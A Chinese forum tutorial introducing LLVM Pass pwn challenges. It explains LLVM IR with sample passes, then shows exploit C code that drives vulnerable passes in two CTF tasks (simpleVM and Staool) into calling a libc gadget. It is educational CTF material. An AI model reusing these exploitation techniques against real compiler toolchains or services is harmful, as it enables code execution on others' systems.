LLVM PASS类pwn题入门
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看雪论坛作者ID：Ayakaaa
一
基础知识
内存格式，只保存在内存中，人无法看到。 不可读的IR，被称作bitcode，文件后缀为bc。 可读的IR，介于高级语言和汇编代码之间，文件后缀为ll。
二
简单示例
#include <stdio.h>#include <unistd.h>int function1(){printf("fun1\n");return 0;}int function2(){printf("fun1\n");return 0;}int function3(){printf("fun1\n");return 0;}int Ayaka(){printf("fun1\n");return 0;}int main() {char name[0x10];read(0,name,0x10);write(1,name,0x10);printf("bye\n");}
clang -emit-llvm -S main.c -o main.ll; ModuleID = 'main.c'source_filename = "main.c"target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"target triple = "x86_64-pc-linux-gnu"@.str = private unnamed_addr constant [6 x i8] c"fun1\0A\00", align 1@.str.1 = private unnamed_addr constant [5 x i8] c"bye\0A\00", align 1; Function Attrs: noinline nounwind optnone uwtabledefine i32 @function1() #0 {%1 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i32 0, i32 0))ret i32 0}declare i32 @printf(i8*, ...) #1; Function Attrs: noinline nounwind optnone uwtabledefine i32 @function2() #0 {%1 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i32 0, i32 0))ret i32 0}; Function Attrs: noinline nounwind optnone uwtabledefine i32 @function3() #0 {%1 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i32 0, i32 0))ret i32 0}; Function Attrs: noinline nounwind optnone uwtabledefine i32 @Ayaka() #0 {%1 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i32 0, i32 0))ret i32 0}; Function Attrs: noinline nounwind optnone uwtabledefine i32 @main() #0 {%1 = alloca [16 x i8], align 16%2 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i32 0, i32 0%3 = call i64 @read(i32 0, i8* %2, i64 16)%4 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i32 0, i32 0%5 = call i64 @write(i32 1, i8* %4, i64 16)%6 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.1, i32 0, i32 0))ret i32 0}declare i64 @read(i32, i8*, i64) #1declare i64 @write(i32, i8*, i64) #1attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }!llvm.module.flags = !{!0}!llvm.ident = !{!1}!0 = !{i32 1, !"wchar_size", i32 4}!1 = !{!"clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)"}
#include "llvm/Pass.h"//写Pass所必须的库#include "llvm/IR/Function.h"//操作函数所必须的库#include "llvm/Support/raw_ostream.h"//打印输出所必须的库#include "llvm/IR/LegacyPassManager.h"#include "llvm/Transforms/IPO/PassManagerBuilder.h"using namespace llvm;namespace { //声明匿名空间，被声明的内容仅在文件内部可见struct Hello : public FunctionPass {static char ID;Hello() : FunctionPass(ID) {}bool runOnFunction(Function &F) override {//重写runOnFunction，使得每次遍历到一个函数的时候就输出函数名errs() << "Hello: ";errs().write_escaped(F.getName()) << '\n';return false;}};}char Hello::ID = 0;// Register for optstatic RegisterPass<Hello> X("hello", "Hello World Pass");//注册类Hello，第一个参数是命令行参数，第二个参数是名字// Register for clangstatic RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,[](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {PM.add(new Hello());});
clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`opt -load LLVMHello.so -hello main.ll
#include <stdio.h>#include <unistd.h>int function1(){int a=2;if(a==3)return 1;a+=2;printf("fun1\n");return 0;}int Ayaka(){int a=1;int b=2;int c=a+b;if(a+c+b==10)return 5;if(a+2*c+3*b==100)return 4;printf("Ayaka\n");return 0;}int main() {char name[0x10];read(0,name,0x10);write(1,name,0x10);printf("bye\n");}
; ModuleID = 'main.c'source_filename = "main.c"target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"target triple = "x86_64-pc-linux-gnu"@.str = private unnamed_addr constant [6 x i8] c"fun1\0A\00", align 1@.str.1 = private unnamed_addr constant [7 x i8] c"Ayaka\0A\00", align 1@.str.2 = private unnamed_addr constant [5 x i8] c"bye\0A\00", align 1; Function Attrs: noinline nounwind optnone uwtabledefine i32 @function1() #0 {%1 = alloca i32, align 4%2 = alloca i32, align 4store i32 2, i32* %2, align 4%3 = load i32, i32* %2, align 4%4 = icmp eq i32 %3, 3br i1 %4, label %5, label %6; <label>:5: ; preds = %0store i32 1, i32* %1, align 4br label %10; <label>:6: ; preds = %0%7 = load i32, i32* %2, align 4%8 = add nsw i32 %7, 2store i32 %8, i32* %2, align 4%9 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i32 0, i32 0))store i32 0, i32* %1, align 4br label %10; <label>:10: ; preds = %6, %5%11 = load i32, i32* %1, align 4ret i32 %11}declare i32 @printf(i8*, ...) #1; Function Attrs: noinline nounwind optnone uwtabledefine i32 @Ayaka() #0 {%1 = alloca i32, align 4%2 = alloca i32, align 4%3 = alloca i32, align 4%4 = alloca i32, align 4store i32 1, i32* %2, align 4store i32 2, i32* %3, align 4%5 = load i32, i32* %2, align 4%6 = load i32, i32* %3, align 4%7 = add nsw i32 %5, %6store i32 %7, i32* %4, align 4%8 = load i32, i32* %2, align 4%9 = load i32, i32* %4, align 4%10 = add nsw i32 %8, %9%11 = load i32, i32* %3, align 4%12 = add nsw i32 %10, %11%13 = icmp eq i32 %12, 10br i1 %13, label %14, label %15; <label>:14: ; preds = %0store i32 5, i32* %1, align 4br label %27; <label>:15: ; preds = %0%16 = load i32, i32* %2, align 4%17 = load i32, i32* %4, align 4%18 = mul nsw i32 2, %17%19 = add nsw i32 %16, %18%20 = load i32, i32* %3, align 4%21 = mul nsw i32 3, %20%22 = add nsw i32 %19, %21%23 = icmp eq i32 %22, 100br i1 %23, label %24, label %25; <label>:24: ; preds = %15store i32 4, i32* %1, align 4br label %27; <label>:25: ; preds = %15%26 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.1, i32 0, i32 0))store i32 0, i32* %1, align 4br label %27; <label>:27: ; preds = %25, %24, %14%28 = load i32, i32* %1, align 4ret i32 %28}; Function Attrs: noinline nounwind optnone uwtabledefine i32 @main() #0 {%1 = alloca [16 x i8], align 16%2 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i32 0, i32 0%3 = call i64 @read(i32 0, i8* %2, i64 16)%4 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i32 0, i32 0%5 = call i64 @write(i32 1, i8* %4, i64 16)%6 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.2, i32 0, i32 0))ret i32 0}declare i64 @read(i32, i8*, i64) #1declare i64 @write(i32, i8*, i64) #1attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }!llvm.module.flags = !{!0}!llvm.ident = !{!1}!0 = !{i32 1, !"wchar_size", i32 4}!1 = !{!"clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)"}
#include "llvm/Pass.h"#include "llvm/IR/Function.h"#include "llvm/Support/raw_ostream.h"#include "llvm/IR/LegacyPassManager.h"#include "llvm/Transforms/IPO/PassManagerBuilder.h"using namespace llvm;namespace {struct Ayaka : public FunctionPass{static char ID;Ayaka() : FunctionPass(ID) {}bool runOnFunction(Function &F) override{errs() << "Hello: ";errs().write_escaped(F.getName()) << '\n';std::map<std::string, int> opCodeMap;int BBsize=0;int opsize=0;for(Function::iterator bbit=F.begin();bbit!=F.end();bbit++){BBsize++;for(BasicBlock::iterator opit=bbit->begin();opit!=bbit->end();opit++){opsize++;std::string opName(opit->getOpcodeName());std::map<std::string,int>::iterator itindex=opCodeMap.find(opName);if(itindex!=opCodeMap.end())opCodeMap[opName]++;else opCodeMap[opName]=1;}}errs().write_escaped(F.getName())<<" has "<<BBsize<<" BasicBlocks and "<<opsize<<" opcode";for(auto it : opCodeMap)errs() <<" function totally use "<<it.first <<" "<<it.second <<"times \n";return false;}};}char Ayaka::ID = 0;// Register for optstatic RegisterPass<Ayaka> X("ayaka", "Hello");// Register for clangstatic RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,[](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {PM.add(new Ayaka());});
三
2021红帽杯 simpleVM
逻辑很简单，如果函数名等于o0o0o0o0则进入后续处理，不等于则什么都不做。
所以我们要继续跟进sub_6AC0：
void store(int a);void load(int a);void add(int a, int b);void o0o0o0o0(){add(1, 0x77e100);load(1);add(2, 0x729ec);store(1);}
clang -emit-llvm -S exp.c -o exp.ll./opt-8 -load ./VMPass.so -VMPass ./exp.ll
调试的时候可以把断点下载llvm::Pass::preparePassManager。
四
CISCN 2021 Staool
接下来有几种操作，分别是stealkey fakekey takeaway run save，其中save操作会申请一个0x20的chunk：
嗯·····擦了擦眼睛，确认没看错，直接call *heap。
第二个memcpy是把第二个参数的值复制到偏移+8也就是bk的位置。
我们在一些关键操作处下断点看看：
可以看到rax雀食是一个libc上地址，这一步是将fd写到bss上，所以rcx是一个bss上的地址。
接下来计算偏移：
#include <stdio.h>int run(){return 0;};int save(char *a1,char *a2){return 0;};int fakekey(int64){return 0;};int takeaway(char *a1){return 0;};int B4ckDo0r(){save("aaaa","aaaa");save("aaddd","aadd");save("ssss","sss");save("ssss","sssss");save("sssss","sssss");save("sssss","sssss");save("sssss","sssss");save("\x00","ssssss");stealkey();fakekey(-0x2E19b4);run();}
clang -emit-llvm -S exp.c -o exp.ll./opt-8 -load ./SAPass.so -SAPass ./exp.ll
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